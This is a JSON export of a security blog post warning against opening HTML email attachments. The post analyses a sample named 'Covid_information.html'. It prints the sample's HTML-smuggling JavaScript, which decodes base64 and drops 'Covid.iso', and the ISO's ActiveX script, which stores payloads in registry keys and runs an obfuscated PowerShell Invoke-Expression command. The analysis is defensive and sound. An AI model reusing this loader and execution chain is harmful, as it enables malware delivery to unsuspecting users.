{"id":418,"date":"2021-11-06T06:14:06","date_gmt":"2021-11-06T06:14:06","guid":{"rendered":"http:\/\/www.volucer.it\/?p=418"},"modified":"2021-11-06T06:20:29","modified_gmt":"2021-11-06T06:20:29","slug":"never-open-in-a-web-browser-an-attachment-of-html-type","status":"publish","type":"post","link":"https:\/\/www.volucer.it\/?p=418","title":{"rendered":"BEWARE OF ATTACHMENTS IN HTML FORMAT"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Everyone knows by now that you have to be very careful when surfing the internet. A little carelessness can cost you a lot and can lead to the loss of data and information, which are the most precious intangible asset today. As 72% of attacks coming into organizations were reported to be attacks through email, in this post I warn again about HTML files that can be received by email as attachments. They seem harmless but looking at them closely they hide a thousand pitfalls and dangers.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"http:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/cyberuser.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"436\" src=\"http:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/cyberuser-1024x436.jpg\" alt=\"\" class=\"wp-image-419\" srcset=\"https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/cyberuser-1024x436.jpg 1024w, https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/cyberuser-300x128.jpg 300w, https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/cyberuser-768x327.jpg 768w, https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/cyberuser-960x409.jpg 960w, https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/cyberuser.jpg 1322w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption><span class=\"has-inline-color has-vivid-cyan-blue-color\">At Application Level any device interact with the cyberspace mainly using mail client and web browser.<\/span><\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As a demonstration of the above I\u2019m going to examine as much as possible an HTML file received as an attachment. It\u2019s named \u201c<span class=\"has-inline-color has-vivid-red-color\">Covid_information.html<\/span>\u201d.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"http:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/actor_flow.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"611\" src=\"http:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/actor_flow-1024x611.jpg\" alt=\"\" class=\"wp-image-421\" srcset=\"https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/actor_flow-1024x611.jpg 1024w, https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/actor_flow-300x179.jpg 300w, https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/actor_flow-768x458.jpg 768w, https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/actor_flow-960x573.jpg 960w, https:\/\/www.volucer.it\/wp-content\/uploads\/2021\/11\/actor_flow.jpg 1405w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption><span class=\"has-inline-color has-vivid-cyan-blue-color\">Parallel use of many attack techniques: Spear Phishing, Malicious code in an HTML file and Web browser vulnerabilitie<\/span>s<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The JavaScript code inside \u201c<span class=\"has-inline-color has-vivid-red-color\">Covid_information.html<\/span>\u201d is the following one.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;\/script>\n\n  text=\u201d<strong>a base-64 encoded long string of 1622 KB<\/strong>\u201d\n\n  function download(data, filename, type) {\n    var file = new Blob(&#91;data], {type: type});\n    if (window.navigator.msSaveOrOpenBlob) \n        window.navigator.msSaveOrOpenBlob(file, filename);\n    else { \n        var a = document.createElement(\"a\"),\n                url = URL.createObjectURL(file);\n        a.href = url;\n        a.download = filename;\n        document.body.appendChild(a);\n        a.click();\n        setTimeout(function() {\n            document.body.removeChild(a);\n            window.URL.revokeObjectURL(url);  \n        }, 0); \n    }\n}\nbt = atob(text);\nbN = new Array(bt.length);\nfor(var i =0;i &lt; bt.length; i++){\n   bN&#91;i] = bt.charCodeAt(i);\n}\nbA = new Uint8Array(bN);\ndownload(bA,\"Covid.iso\",\"application\/x-cd-image\")\n\n&lt;\/script>\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The first statement is an assignment to the variable \u201ctext\u201d of a base-64 encoded 1622 KB string. Practically this is the malicious payload to which we will give a look afterwards.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">After the function \u201cdownload\u201d:<\/p>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>creates a hyperlink on-fly;<\/li><li>link to it a file created using the content of data variable;<\/li><li>download this file.&nbsp;<\/li><\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">The following statement decode the base-64 content of \u201ctext\u201d using the atob() function.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The any char is transcoded to Unicode using charCodeAt() function. At the end the file named \"<span class=\"has-inline-color has-vivid-red-color\">Covid.iso<\/span>\" is downloaded to the local storage.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">An outlook to Covid.iso file.<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The file Covid.iso encapsulated an HTML file with the following JavaScript code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>    &lt;script language=\"javascript\">\n    var a = new ActiveXObject('Wscript.Shell');\n    function start() {\n        res = document.getElementById(\"p1\").innerHTML;\n        a.RegWrite(\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\JavaSoft\\\\Ver\", res, \"REG_SZ\");\n        res = document.getElementById(\"p2\").innerHTML;\n        a.RegWrite(\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\JavaSoft\\\\Ver2\", res, \"REG_SZ\");\n        res = document.getElementById(\"c1\").innerHTML;\n        res += document.getElementById(\"c2\").innerHTML;\n        res += document.getElementById(\"c3\").innerHTML;\n        res += document.getElementById(\"c4\").innerHTML;\n\n        res += document.getElementById(\"c5\").innerHTML;\n        a.Run(res, 0);\n        \n    }\n    &lt;\/script>\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">In this code what is crucial is the content of DOM elements which are on board of HTML file, that is: p1,p2,c1,c2,c3,c4 and c5.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">These elements are used for a kind of obfuscation; because they are then assembled together in order to execute any sort of code in the host machine.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">P1= (\u201ca base-64 encoded long string\u201d) containing a binary.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">P2= (\u201ca base-64 encoded long string\u201d) containing code:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">c1=powers<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">c2=hell -C Invo<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">c3=ke-Expression (g<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">c4=p HKCU:\\\\SO<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">c5=FTWARE\\\\JavaSoft).Ver<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">the final command is:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">powershell -C Invoke-Expression (gp HKCU:\\\\SOFTWARE\\\\JavaSoft).Ver<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Invoke-Expression cmdlet is used to perform a command or expression on local computer.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Even if the above analysis is not complete, it demonstrates a high level of sophistication resulting from guys with a high level of know-how.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">So beware of attachments in HTML format!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">References<\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li><a href=\"https:\/\/javascript.info\/blob\">https:\/\/javascript.info\/blob<\/a> \u00a0The Modern JavaScript Tutorial;<\/li><li><a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Navigator\/msSaveOrOpenBlob\">https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/Navigator\/msSaveOrOpenBlob<\/a> Non Standard, Deprecated;<\/li><li><a href=\"http:\/\/www.volucer.it\/?p=199\">http:\/\/www.volucer.it\/?p=199<\/a> MAlicious Software Sophistication (MASS).<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Everyone knows by now that you have to be very careful when surfing the internet. A little carelessness can cost you a lot and can lead to the loss of data and information, which are the most precious intangible asset today. As 72% of attacks coming into organizations were reported to be attacks through email, <a class=\"read-more\" href=\"https:\/\/www.volucer.it\/?p=418\">...continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3,18],"tags":[],"class_list":["post-418","post","type-post","status-publish","format-standard","hentry","category-cybersecurity","category-javascript-2"],"_links":{"self":[{"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/posts\/418","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.volucer.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=418"}],"version-history":[{"count":8,"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/posts\/418\/revisions"}],"predecessor-version":[{"id":429,"href":"https:\/\/www.volucer.it\/index.php?rest_route=\/wp\/v2\/posts\/418\/revisions\/429"}],"wp:attachment":[{"href":"https:\/\/www.volucer.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=418"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.volucer.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=418"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.volucer.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=418"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}